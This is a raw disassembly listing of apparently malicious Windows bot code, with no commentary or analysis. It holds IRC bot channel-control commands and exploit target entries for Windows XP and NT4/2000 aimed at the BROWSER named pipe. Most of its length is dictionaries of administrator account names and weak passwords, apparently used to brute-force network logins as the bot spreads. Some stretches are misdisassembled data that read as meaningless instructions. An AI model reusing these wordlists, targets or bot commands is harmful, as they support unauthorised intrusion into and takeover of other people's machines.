aEnablepmtubhde	db 'EnablePMTUBHDetect',0 ; DATA XREF: sub_412267+253o
		align 4
aEnablepmtudisc	db 'EnablePMTUDiscovery',0 ; DATA XREF: sub_412267+243o
aTcpwindowsize	db 'TcpWindowSize',0    ; DATA XREF: sub_412267+235o
		align 10h
aGlobalmaxtcpwi	db 'GlobalMaxTcpWindowSize',0 ; DATA XREF: sub_412267+224o
		align 4
aTcp1323opts	db 'Tcp1323Opts',0      ; DATA XREF: sub_412267+213o
aStricttimewait	db 'StrictTimeWaitSeqCheck',0 ; DATA XREF: sub_412267+202o
		align 4
aTcptimedwaitde	db 'TcpTimedWaitDelay',0 ; DATA XREF: sub_412267+1F4o
		align 10h
aMaxuserport	db 'MaxUserPort',0      ; DATA XREF: sub_412267+1E6o
aSystemCurren_0	db 'SYSTEM\CurrentControlSet\Services\Tcpip\Parameters',0
					; DATA XREF: sub_412267+1E1o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control',0 ; DATA XREF: sub_412267+1D1o
		align 4
aWaittokillserv	db 'WaitToKillServiceT',0 ; DATA XREF: sub_412267+1C7o
		align 4
a5000		db '5000',0             ; DATA XREF: sub_412267+1C2o
		align 10h
aBan		db 'ban',0              ; DATA XREF: sub_412267+1B7o
aRModeChanB1	db 'r MODE $chan +b $1',0 ; DATA XREF: sub_412267+1B2o
		align 4
aHalfop		db 'halfop',0           ; DATA XREF: sub_412267+1A5o
		align 10h
aRModeChanH1	db 'r MODE $chan +h $1',0 ; DATA XREF: sub_412267+1A0o
		align 4
aVoice		db 'voice',0            ; DATA XREF: sub_412267+196o
		align 4
aRModeChanV1	db 'r MODE $chan +v $1',0 ; DATA XREF: sub_412267+191o
		align 10h
aOps		db 'ops',0              ; DATA XREF: sub_412267+187o
aRModeChanO1	db 'r MODE $chan +o $1',0 ; DATA XREF: sub_412267+182o
		align 4
aCtc2		db 'ctc2',0             ; DATA XREF: sub_412267+178o
		align 10h
dword_43C760	dd 31242072h, 13A20hdword_43C768	dd 637463h	dword_43C76C	dd 52502072h, 534D5649h, 31242047h, 13A20haSlap		db 'slap',0             ; DATA XREF: sub_412267+15Ao
		align 4
aRPrivmsg1Slaps	db 'r PRIVMSG $1 slaps for You!!',0 ; DATA XREF: sub_412267+155o
		align 4
aSlaps		db 'slaps',0            ; DATA XREF: sub_412267+14Bo
		align 4
aRPrivmsg1GodDa	db 'r PRIVMSG $1 god damnit,hard bitchslaps for you!!',0
					; DATA XREF: sub_412267+146o
		align 10h
dword_43C7E0	dd 0EFFFC481h, 44FFFFh,	43C828hdword_43C7EC	dd 42Ah		dword_43C7F0	dd 3E8h		dword_43C7F4	dd 258h		byte_43C7F8	db 0			; DATA XREF: sub_4128D4+1FAr
					; sub_4128D4+2DBr
		align 4
		dd offset aWinxpSp0Sp1	; "WinXP (SP0+SP1)"
		dd 2C6h, 264h, 0
		dd 1
dword_43C810	dd 20804h						; sub_4128D4+2F4o ...
dword_43C814	dd 158h		aWinxpSp0Sp1	db 'WinXP (SP0+SP1)',0  ; DATA XREF: .text:0043C7FCo
aWinnt42kSp0Sp4	db 'WinNT4,2K (SP0-SP4)',0
; ---------------------------------------------------------------------------


loc_43C83C:				; DATA XREF: sub_4128D4+21Co
					; sub_41391C+3CEo
		jmp	short near ptr dword_43C840
; ---------------------------------------------------------------------------
		align 10h
dword_43C840	dd 0		dword_43C844	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0					; sub_41391C+2EEo ...
dword_43C858	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0					; sub_41391C+27Eo
aSPipeBrowser	db '\\%s\pipe\BROWSER',0 ; DATA XREF: sub_4128D4+77o
		align 10h
off_43C880	dd offset byte_44D6A4	; DATA XREF: .text:004137CAr
					; .text:004137D2o
		dd offset aSystem_0	; "SYSTEM"
		dd offset aAdm		; "adm"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "ADMIN"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrador ; "Administrador"
		dd offset aAdministrateur ; "Administrateur"
		dd offset aAdministrada	; "Administrada"
		dd offset aAdministratoro ; "Administratoro"
		dd offset aAdministrado_0 ; "Administrador'"
		dd offset aAdministratore ; "Administratore"
		dd offset aAdministratori ; "Administratori"
		dd offset aAdministration ; "Administration"
		dd offset aAdministrators ; "Administrators"
		dd offset aManager	; "manager"
		dd offset aOwner	; "owner"
		dd offset aRoot		; "root"
		dd offset aR00t		; "r00t"
		dd offset aRdp		; "rdp"
		dd offset aBillGates	; "bill	gates"
		dd offset aGuest_0	; "guest"
		dd offset aDefault_0	; "default"
		dd offset a31337	; "31337"
		dd offset a@_6		; "!@"
		dd offset a@_5		; "!@#"
		dd offset a@_4		; "!@#$"
		dd offset a@_3		; "!@#$%"
		dd offset a@_2		; "!@#$%^"
		dd offset a@_0		; "!@#$%^&"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset dword_433F14
		dd offset off_43D50C
		dd offset dword_433F30
		dd offset dword_433F38
		dd offset a1_0		; "1"
		dd offset aQaz		; "qaz"
		dd offset aUsers	; "users"
		dd offset aBillgates	; "billgates"
		dd offset aMs_user	; "MS_USER"
		dd offset aM_4		; "m$"
		dd offset aSecret	; "secret"
		dd offset aManager	; "manager"
		dd offset aAccess	; "access"
		dd offset aAccount	; "account"
		dd offset aAccounting	; "accounting"
		dd offset aAccounts	; "accounts"
		dd offset aBoss		; "BOSS"
		dd offset asc_433E88	; "X"
		align 10h
off_43C950	dd offset byte_44D6A4	; DATA XREF: sub_4135E8+3r
					; sub_4135E8+Fo
		dd offset aSystem_0	; "SYSTEM"
		dd offset aAdm		; "adm"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "ADMIN"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrador ; "Administrador"
		dd offset aAdministrateur ; "Administrateur"
		dd offset aAdministrada	; "Administrada"
		dd offset aAdministratoro ; "Administratoro"
		dd offset aAdministrado_0 ; "Administrador'"
		dd offset aAdministratore ; "Administratore"
		dd offset aAdministratori ; "Administratori"
		dd offset aAdministration ; "Administration"
		dd offset aAdministrators ; "Administrators"
		dd offset aAdmin_0	; "admin"
		dd offset aAdmin123	; "admin123"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aManager	; "manager"
		dd offset aOwner	; "owner"
		dd offset aBoss		; "BOSS"
		dd offset a31337	; "31337"
		dd offset asc_432D3C	; "x"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxx_0	; "xXx"
		dd offset a@_4		; "!@#$"
		dd offset a@_3		; "!@#$%"
		dd offset a@_2		; "!@#$%^"
		dd offset a@_0		; "!@#$%^&"
		dd offset a@_1		; "!@#$%^&*"
		dd offset asc_43D468	; "%"
		dd offset asc_43D464	; "%%"
		dd offset asc_43D460	; "%%%"
		dd offset asc_43D458	; "%%%%"
		dd offset asc_43D450	; "%%%%%"
		dd offset a0		; "0"
		dd offset a00		; "00"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset a00000000	; "00000000"
		dd offset a007		; "007"
		dd offset a0wn3d	; "0wn3d"
		dd offset a0wned	; "0wned"
		dd offset a1_0		; "1"
		dd offset a110		; "110"
		dd offset a111		; "111"
		dd offset a111		; "111"
		dd offset a111111	; "111111"
		dd offset a11111111	; "11111111"
		dd offset a11111111	; "11111111"
		dd offset a12		; "12"
		dd offset a121		; "121"
		dd offset a121212	; "121212"
		dd offset a123		; "123"
		dd offset a123123	; "123123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a12346	; "12346"
		dd offset a123467	; "123467"
		dd offset a1234678	; "1234678"
		dd offset a12346789	; "12346789"
		dd offset a123467890	; "123467890"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a123asd	; "123asd"
		dd offset a123qwe	; "123qwe"
		dd offset a54321	; "54321"
		dd offset a654321	; "654321"
		dd offset a88888888	; "88888888"
		dd offset a31337	; "31337"
		dd offset aAussie	; "aussie"
		dd offset dword_433F14
		dd offset off_43D50C
		dd offset aAaaa		; "AAAA"
		dd offset aAsdf		; "asdf"
		dd offset aAbcd		; "abcd"
		dd offset off_43D30C
		dd offset aAbc123	; "abc123"
		dd offset aAbcd		; "abcd"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccess	; "access"
		dd offset aAccount	; "account"
		dd offset aAccounting	; "accounting"
		dd offset aAccounts	; "accounts"
		dd offset aAnything	; "anything"
		dd offset aApache	; "apache"
		dd offset aBackdoor	; "backdoor"
		dd offset aBillGates	; "bill	gates"
		dd offset aBlack	; "black"
		dd offset aBillgates	; "billgates"
		dd offset aCanada	; "Canada"
; ---------------------------------------------------------------------------
		mov	ah, 0D2h
		inc	ebx
		add	[eax-63FFBC2Eh], ch
		rol	byte ptr [ebx+0], cl
		nop
		rol	byte ptr [ebx+0], cl
		test	dl, dl
		inc	ebx
		add	[edx+edx*8+43h], bh
		add	[edx+edx*8+43h], dh
		add	[eax-2Bh], dl
		inc	ebx
		add	[eax-2Eh], ch
		inc	ebx
		add	[eax-2Eh], ah
		inc	ebx
		add	[eax-2Eh], bl
		inc	ebx
		add	[edx+edx*8+43h], cl
		add	[edx+edx*8], bh
		inc	ebx
		add	[eax], ch
		rol	byte ptr [ebx+0], cl
		and	dl, dl
		inc	ebx
		add	[eax], bl
		rol	byte ptr [ebx+0], cl
		adc	dl, dl
		inc	ebx
		add	[eax], cl
		rol	byte ptr [ebx+0], cl
		add	dl, dl
		inc	ebx
		add	al, bh
		rol	dword ptr [ebx+0], 1
		push	eax
		aad	43h
		add	ah, ch
		rol	dword ptr [ebx+0], 1
		fcom	st(1)
		inc	ebx
		add	[eax], dh
		aas
		inc	ebx
		add	ah, dl
		rol	dword ptr [ebx+0], 1
		rcl	cl, 1
		inc	ebx
		add	[ebx+ebx*2], al
		inc	ebx


loc_43CB47:				; CODE XREF: .text:0043CB74j
		add	ah, cl
		rol	dword ptr [ebx+0], 1
		rcl	cl, 43h
		add	[eax-4FFFBC2Fh], bh
		rol	dword ptr [ebx+0], 1
		test	al, 0D1h
		inc	ebx
		add	[eax-67FFBC2Fh], ah
		rol	dword ptr [ebx+0], 1
		nop
		rol	dword ptr [ebx+0], 1
		pop	eax
		aad	43h
		add	[eax-7FFFBC2Fh], cl
		rol	dword ptr [ebx+0], 1
		jl	short loc_43CB47
		inc	ebx
		add	[ecx+edx*8+43h], dh
		add	[ecx+edx*8+43h], ch
		add	[ecx+edx*8+43h], ah
		add	[ecx+edx*8+43h], bl
		add	[ecx+edx*8+43h], dl
		add	[eax], dl
		aad	43h
		add	[ecx+edx*8+43h], cl
		add	[ecx+edx*8+43h], al
		add	[ecx+edx*8], bh
		inc	ebx
		add	[eax], dh
		rol	dword ptr [ebx+0], 1
		sub	cl, dl
		inc	ebx
		add	[eax], ah
		rol	dword ptr [ebx+0], 1
; ---------------------------------------------------------------------------
		dd offset aMs_user	; "MS_USER"
		dd offset aMicrosoft	; "microsoft"
		dd offset aMachine	; "machine"
		dd offset aMacintosh	; "macintosh"
		dd offset aMack		; "mack"
		dd offset aMs		; "MS"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aM_3		; "M$"
		dd offset aMysql	; "mysql"
		dd offset aMssql	; "mssql"
		dd offset aMyvps	; "myvps"
		dd offset aMypc		; "mypc"
		dd offset aNull_1	; "NULL"
		dd offset aOwn		; "own"
		dd offset aOwned	; "owned"
		dd offset aOwner	; "owner"
		dd offset aPass_0	; "pass"
		dd offset aPass123	; "pass123"
		dd offset aPass1234	; "pass1234"
		dd offset aPasswd	; "passwd"
		dd offset aPassword	; "password"
		dd offset aPassword_0	; "PASSWORD"
		dd offset aPassword_1	; "Password"
		dd offset aPassword1	; "password1"
		dd offset aPassword123	; "password123"
		dd offset aPw		; "pw"
		dd offset aPw123	; "pw123"
		dd offset aPwd		; "pwd"
		dd offset aPimp		; "pimp"
		dd offset aPorn		; "porn"
		dd offset dword_433F38
		dd offset aQaz		; "qaz"
		dd offset aQwe		; "qwe"
		dd offset aQwer		; "qwer"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRdp		; "rdp"
		dd offset aR00t		; "r00t"
		dd offset aRemote	; "remote"
		dd offset aRoot		; "root"
		dd offset aRooted	; "rooted"
		dd offset aTest		; "Test"
		dd offset aTest123	; "test123"
		dd offset aTester	; "tester"
		dd offset aTesting	; "testing"
		dd offset aTrojan	; "trojan"
		dd offset aUser1	; "user1"
		dd offset aUsermane	; "usermane"
		dd offset aUsername	; "username"
		dd offset aUserpassword	; "userpassword"
		dd offset aSa		; "sa"
		dd offset aSatan	; "satan"
		dd offset aSchool	; "school"
		dd offset aScorpion	; "scorpion"
		dd offset aSecurity	; "security"
		dd offset aSuper	; "super"
		dd offset aSuperuser	; "superuser"
		dd offset aSupport	; "support"
		dd offset aSys		; "sys"
		dd offset aSysadmin	; "sysadmin"
		dd offset aSysop	; "sysop"
		dd offset aSecret	; "secret"
		dd offset aSecrets	; "secrets"
		dd offset aSex_0	; "sex"
		dd offset aSexy		; "sexy"
		dd offset aSlave	; "slave"
		dd offset aStudents	; "students"
		dd offset aServer	; "SERVER"
		dd offset aSql		; "sql"
		dd offset aSqlpass	; "sqlpass"
		dd offset aUsers	; "users"
		dd offset off_43CF08
		dd offset off_43CF04
		dd offset aVirus	; "virus"
		dd offset aVps		; "vps"
		dd offset aWin2000	; "win2000"
		dd offset aWin2k	; "win2k"
		dd offset aWindose	; "windose"
		dd offset aWindows	; "windows"
		dd offset aWindows2k	; "windows2k"
		dd offset aWindows95	; "windows95"
		dd offset aWindows98	; "windows98"
		dd offset aWindowsme	; "windowsME"
		dd offset aWindowsxp	; "WindowsXP"
		dd offset aWindowz	; "windowz"
		dd offset aWindoze	; "windoze"
		dd offset aWindoze2k	; "windoze2k"
		dd offset aWindoze95	; "windoze95"
		dd offset aWindoze98	; "windoze98"
		dd offset aWindozeme	; "windozeME"
		dd offset aWindozexp	; "windozexp"
		dd offset aWine		; "wine"
		dd offset aWing		; "wing"
		dd offset aWinnt	; "winnt"
		dd offset aWinpass	; "winpass"
		dd offset aWinston	; "winston"
		dd offset aWinxp	; "winxp"
		dd offset aWired	; "wired"
		dd offset aWin		; "win"
		dd offset aWinxp	; "winxp"
		dd offset aWin2k	; "win2k"
		dd offset aWindows	; "windows"
		dd offset aWww		; "www"
		dd offset asc_432D3C	; "x"
		dd offset aXfer		; "xfer"
		dd offset aXp_0		; "xp"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset aXyz		; "xyz"
		dd offset aXyzzy	; "xyzzy"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aYxcv		; "yxcv"
		dd offset aZap		; "zap"
		dd offset aZxc		; "zxc"
		dd offset aZxcv		; "zxcv"
		dd 0
aZxcv		db 'zxcv',0             ; DATA XREF: .text:0043CD94o
		align 4
aZxc		db 'zxc',0              ; DATA XREF: .text:0043CD90o
aZap		db 'zap',0              ; DATA XREF: .text:0043CD8Co
aYxcv		db 'yxcv',0             ; DATA XREF: .text:0043CD88o
		align 4
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .text:0043CD84o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .text:0043CD80o
		align 4
aXyz		db 'xyz',0              ; DATA XREF: .text:0043CD7Co
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .text:0043CD78o
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .text:0043CD74o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .text:0043CD70o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .text:0043CD6Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .text:0043CD68o
		align 10h
aXx		db 'xx',0               ; DATA XREF: .text:0043CD5Co
		align 4
aXp_0		db 'xp',0               ; DATA XREF: .text:0043CD58o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .text:0043CD54o
		align 10h
aWww		db 'www',0              ; DATA XREF: .text:0043CD4Co
aWin		db 'win',0              ; DATA XREF: .text:0043CD3Co
aWired		db 'wired',0            ; DATA XREF: .text:0043CD38o
		align 10h
aWinxp		db 'winxp',0            ; DATA XREF: .text:0043CD34o
					; .text:0043CD40o
		align 4
aWinston	db 'winston',0          ; DATA XREF: .text:0043CD30o
aWinpass	db 'winpass',0          ; DATA XREF: .text:0043CD2Co
aWinnt		db 'winnt',0            ; DATA XREF: .text:0043CD28o
		align 10h
aWing		db 'wing',0             ; DATA XREF: .text:0043CD24o
		align 4
aWine		db 'wine',0             ; DATA XREF: .text:0043CD20o
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: .text:0043CD1Co
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: .text:0043CD18o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .text:0043CD14o
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: .text:0043CD10o
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .text:0043CD0Co
		align 4
aWindoze	db 'windoze',0          ; DATA XREF: .text:0043CD08o
aWindowz	db 'windowz',0          ; DATA XREF: .text:0043CD04o
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .text:0043CD00o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: .text:0043CCFCo
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: .text:0043CCF8o
		align 10h
aWindows95	db 'windows95',0        ; DATA XREF: .text:0043CCF4o
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: .text:0043CCF0o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .text:0043CCECo
					; .text:0043CD48o
aWindose	db 'windose',0          ; DATA XREF: .text:0043CCE8o
aWin2k		db 'win2k',0            ; DATA XREF: .text:0043CCE4o
					; .text:0043CD44o
		align 10h
aWin2000	db 'win2000',0          ; DATA XREF: .text:0043CCE0o
aVps		db 'vps',0              ; DATA XREF: .text:0043CCDCo
aVirus		db 'virus',0            ; DATA XREF: .text:0043CCD8o
		align 4
off_43CF04	dd offset word_636E76	; DATA XREF: .text:0043CCD4o
					; .text:00449108o
off_43CF08	dd offset loc_415352+3	; DATA XREF: sub_41912B:loc_4198BDo
					; .text:0043CCD0o
aSqlpass	db 'sqlpass',0          ; DATA XREF: .text:0043CCC8o
aSql		db 'sql',0              ; DATA XREF: .text:0043CCC4o
aServer		db 'SERVER',0           ; DATA XREF: .text:0043CCC0o
		align 10h
aStudents	db 'students',0         ; DATA XREF: .text:0043CCBCo
		align 4
aSlave		db 'slave',0            ; DATA XREF: .text:0043CCB8o
		align 4
aSexy		db 'sexy',0             ; DATA XREF: .text:0043CCB4o
		align 4
aSex_0		db 'sex',0              ; DATA XREF: .text:0043CCB0o
aSecrets	db 'secrets',0          ; DATA XREF: .text:0043CCACo
aSysop		db 'sysop',0            ; DATA XREF: .text:0043CCA4o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: .text:0043CCA0o
		align 4
aSys		db 'sys',0              ; DATA XREF: .text:0043CC9Co
aSupport	db 'support',0          ; DATA XREF: .text:0043CC98o
aSuperuser	db 'superuser',0        ; DATA XREF: .text:0043CC94o
		align 4
aSuper		db 'super',0            ; DATA XREF: .text:0043CC90o
		align 4
aScorpion	db 'scorpion',0         ; DATA XREF: .text:0043CC88o
		align 4
aSchool		db 'school',0           ; DATA XREF: .text:0043CC84o
		align 10h
aSatan		db 'satan',0            ; DATA XREF: .text:0043CC80o
		align 4
aSa		db 'sa',0               ; DATA XREF: .text:0043CC7Co
		align 4
aUserpassword	db 'userpassword',0     ; DATA XREF: .text:0043CC78o
		align 4
aUsername	db 'username',0         ; DATA XREF: .text:0043CC74o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: .text:0043CC70o
		align 4
aUser1		db 'user1',0            ; DATA XREF: .text:0043CC6Co
		align 4
aTrojan		db 'trojan',0           ; DATA XREF: .text:0043CC68o
		align 4
aTesting	db 'testing',0          ; DATA XREF: .text:0043CC64o
aTester		db 'tester',0           ; DATA XREF: .text:0043CC60o
		align 4
aTest123	db 'test123',0          ; DATA XREF: .text:0043CC5Co
aTest		db 'Test',0             ; DATA XREF: .text:0043CC58o
		align 4
aRooted		db 'rooted',0           ; DATA XREF: .text:0043CC54o
		align 4
aRemote		db 'remote',0           ; DATA XREF: .text:0043CC4Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .text:0043CC40o
					; .text:00449114o
		align 4
aQwert		db 'qwert',0            ; DATA XREF: .text:0043CC3Co
		align 4
aQwer		db 'qwer',0             ; DATA XREF: .text:0043CC38o
		align 4
aQwe		db 'qwe',0              ; DATA XREF: .text:0043CC34o
aPorn		db 'porn',0             ; DATA XREF: .text:0043CC28o
		align 4
aPimp		db 'pimp',0             ; DATA XREF: .text:0043CC24o
		align 10h
aPwd		db 'pwd',0              ; DATA XREF: .text:0043CC20o
aPw123		db 'pw123',0            ; DATA XREF: .text:0043CC1Co
		align 4
aPw		db 'pw',0               ; DATA XREF: .text:0043CC18o
		align 10h
aPassword123	db 'password123',0      ; DATA XREF: .text:0043CC14o
aPassword1	db 'password1',0        ; DATA XREF: .text:0043CC10o
		align 4
aPassword_1	db 'Password',0         ; DATA XREF: .text:0043CC0Co
		align 4
aPassword_0	db 'PASSWORD',0         ; DATA XREF: .text:0043CC08o
		align 10h
aPassword	db 'password',0         ; DATA XREF: .text:0043CC04o
					; .text:004490FCo
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .text:0043CC00o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .text:0043CBFCo
		align 10h
aPass123	db 'pass123',0          ; DATA XREF: .text:0043CBF8o
aPass_0		db 'pass',0             ; DATA XREF: .text:0043CBF4o
					; .text:0044910Co
		align 10h
aOwned		db 'owned',0            ; DATA XREF: .text:0043CBECo
		align 4
aOwn		db 'own',0              ; DATA XREF: .text:0043CBE8o
aNull_1		db 'NULL',0             ; DATA XREF: .text:0043CBE4o
		align 4
aMyvps		db 'myvps',0            ; DATA XREF: .text:0043CBDCo
		align 4
aMssql		db 'mssql',0            ; DATA XREF: .text:0043CBD8o
		align 4
aMysql		db 'mysql',0            ; DATA XREF: .text:0043CBD4o
		align 4
aM_3		db 'M$',0               ; DATA XREF: sub_4130E5+10Ao
					; .text:0043CBD0o
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: .text:0043CBCCo
aMypc		db 'mypc',0             ; DATA XREF: .text:0043CBC8o
					; .text:0043CBE0o
		align 10h
aMypass123	db 'mypass123',0        ; DATA XREF: .text:0043CBC4o
		align 4
aMypass		db 'mypass',0           ; DATA XREF: .text:0043CBC0o
		align 4
aMs		db 'MS',0               ; DATA XREF: .text:0043CBBCo
		align 4
aMack		db 'mack',0             ; DATA XREF: .text:0043CBB8o
		align 10h
aMacintosh	db 'macintosh',0        ; DATA XREF: .text:0043CBB4o
		align 4
aMachine	db 'machine',0          ; DATA XREF: .text:0043CBB0o
aMicrosoft	db 'microsoft',0        ; DATA XREF: .text:0043CBACo
		align 10h
aMyvnc		db 'myvnc',0
		align 4
aMaster		db 'master',0           ; DATA XREF: .text:00449110o
		align 10h
aLoginpass	db 'loginpass',0
		align 4
aLocal		db 'LOCAL',0
		align 4
aLogin		db 'login',0
		align 4
aUnix_0		db 'Unix',0
		align 4
aL33t		db 'l33t',0
		align 4
aL337		db 'l337',0
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: .text:004490F0o
aHaxing		db 'haxing',0
		align 4
aHax0r		db 'hax0r',0
		align 4
aHax		db 'hax',0
aHacked		db 'hacked',0
		align 4
aH4x0r		db 'h4x0r',0
		align 10h
aGuessme	db 'guessme',0
aGuess		db 'guess',0
		align 10h
aFuckyou	db 'fuckyou',0
aFucker		db 'fucker',0
		align 10h
aFucked		db 'fucked',0
		align 4
aEngland	db 'england',0
aEducation	db 'education',0
		align 4
		dd offset byte_554445
		dd 782Ah, 33336C65h, 74h, 616D6F64h, 61706E69h,	6F777373h
		dd 6472h, 616D6F64h, 61706E69h,	7373h, 61706264h, 7373h
		dd 32316264h, 3433h, 67617264h,	6E6Fh, 6B736564h, 706F74h
		dd 64616564h, 0
aDave		db 'dave',0
		align 4
aDatabasepasswo	db 'databasepassword',0
		align 4
aDatabasepass	db 'databasepass',0
		align 4
aDatabase	db 'database',0
		align 4
aDaemon		db 'daemon',0
		align 10h
aD00d		db 'd00d',0
		align 4
aDefaultpass	db 'defaultpass',0
aClosed		db 'closed',0
		align 4
aClosed_0	db 'closed!',0
aCustomer	db 'customer',0
		align 10h
aChangeme	db 'changeme!',0
		align 4
aChangeme_0	db 'changeme',0
		align 4
aChangethis	db 'changethis',0
		align 4
aChange		db 'change',0
		align 4
aCanada		db 'Canada',0           ; DATA XREF: sub_41912B+1E9o
					; .text:0043CAD8o
		align 4
aBlack		db 'black',0            ; DATA XREF: .text:0043CAD0o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: .text:0043CAC8o
		align 4
aApache		db 'apache',0           ; DATA XREF: .text:0043CAC4o
		align 10h
aAnything	db 'anything',0         ; DATA XREF: .text:0043CAC0o
		align 4
aAcademic	db 'academic',0         ; DATA XREF: .text:0043CAACo
		align 4
aAcademia	db 'academia',0         ; DATA XREF: .text:0043CAA8o
		align 4
aAbc123		db 'abc123',0           ; DATA XREF: .text:0043CAA0o
		align 4
off_43D30C	dd offset byte_636261	; DATA XREF: .text:0043CA9Co
aAbcd		db 'abcd',0             ; DATA XREF: .text:0043CA98o
					; .text:0043CAA4o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: .text:0043CA94o
		align 10h
aAaaa		db 'AAAA',0             ; DATA XREF: .text:0043CA90o
		align 4
aAussie		db 'aussie',0           ; DATA XREF: .text:0043CA84o
		align 10h
a88888888	db '88888888',0         ; DATA XREF: .text:0043CA7Co
		align 4
a654321		db '654321',0           ; DATA XREF: .text:0043CA78o
					; .text:0044911Co
		align 4
a54321		db '54321',0            ; DATA XREF: .text:0043CA74o
		align 4
a123qwe		db '123qwe',0           ; DATA XREF: .text:0043CA70o
		align 4
a123asd		db '123asd',0           ; DATA XREF: .text:0043CA6Co
		align 4
a123abc		db '123abc',0           ; DATA XREF: .text:0043CA68o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: .text:0043CA64o
		align 10h
a123467890	db '123467890',0        ; DATA XREF: .text:0043CA60o
		align 4
a12346789	db '12346789',0         ; DATA XREF: .text:0043CA5Co
		align 4
a1234678	db '1234678',0          ; DATA XREF: .text:0043CA58o
a123467		db '123467',0           ; DATA XREF: .text:0043CA54o
		align 4
a12346		db '12346',0            ; DATA XREF: .text:0043CA50o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .text:0043CA4Co
		align 4
a12345678	db '12345678',0         ; DATA XREF: .text:0043CA48o
					; .text:00449118o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .text:0043CA44o
					; .text:004490F8o
a123456		db '123456',0           ; DATA XREF: .text:0043CA40o
					; .text:00449104o
		align 4
a12345		db '12345',0            ; DATA XREF: .text:0043CA3Co
					; .text:00449100o
		align 10h
a1234		db '1234',0             ; DATA XREF: .text:0043CA38o
					; .text:004490ECo
		align 4
a123123		db '123123',0           ; DATA XREF: .text:0043CA34o
		align 10h
a123		db '123',0              ; DATA XREF: .text:0043CA30o
					; .text:off_4490E8o
a121212		db '121212',0           ; DATA XREF: .text:0043CA2Co
		align 4
a121		db '121',0              ; DATA XREF: .text:0043CA28o
a12		db '12',0               ; DATA XREF: .text:0043CA24o
		align 4
a11111111	db '11111111',0         ; DATA XREF: .text:0043CA1Co
					; .text:0043CA20o
		align 10h
a111111		db '111111',0           ; DATA XREF: .text:0043CA18o
		align 4
a111		db '111',0              ; DATA XREF: .text:0043CA10o
					; .text:0043CA14o
a110		db '110',0              ; DATA XREF: .text:0043CA0Co
a0wned		db '0wned',0            ; DATA XREF: .text:0043CA04o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: .text:0043CA00o
		align 10h
a007		db '007',0              ; DATA XREF: .text:0043C9FCo
a00000000	db '00000000',0         ; DATA XREF: .text:0043C9F8o
		align 10h
a000000		db '000000',0           ; DATA XREF: .text:0043C9F4o
		align 4
a00000		db '00000',0            ; DATA XREF: .text:0043C9F0o
		align 10h
a0000		db '0000',0             ; DATA XREF: .text:0043C9ECo
		align 4
a000		db '000',0              ; DATA XREF: .text:0043C9E8o
a00		db '00',0               ; DATA XREF: .text:0043C9E4o
		align 10h
asc_43D450	db '%%%%%',0            ; DATA XREF: .text:0043C9DCo
		align 4
asc_43D458	db '%%%%',0             ; DATA XREF: .text:0043C9D8o
		align 10h
asc_43D460	db '%%%',0              ; DATA XREF: .text:0043C9D4o
asc_43D464	db '%%',0               ; DATA XREF: .text:0043C9D0o
		align 4
asc_43D468:				; DATA XREF: .text:0043C9CCo
		unicode	0, <%>,0
a@_1		db '!@#$%^&*',0         ; DATA XREF: .text:0043C9C8o
		align 4
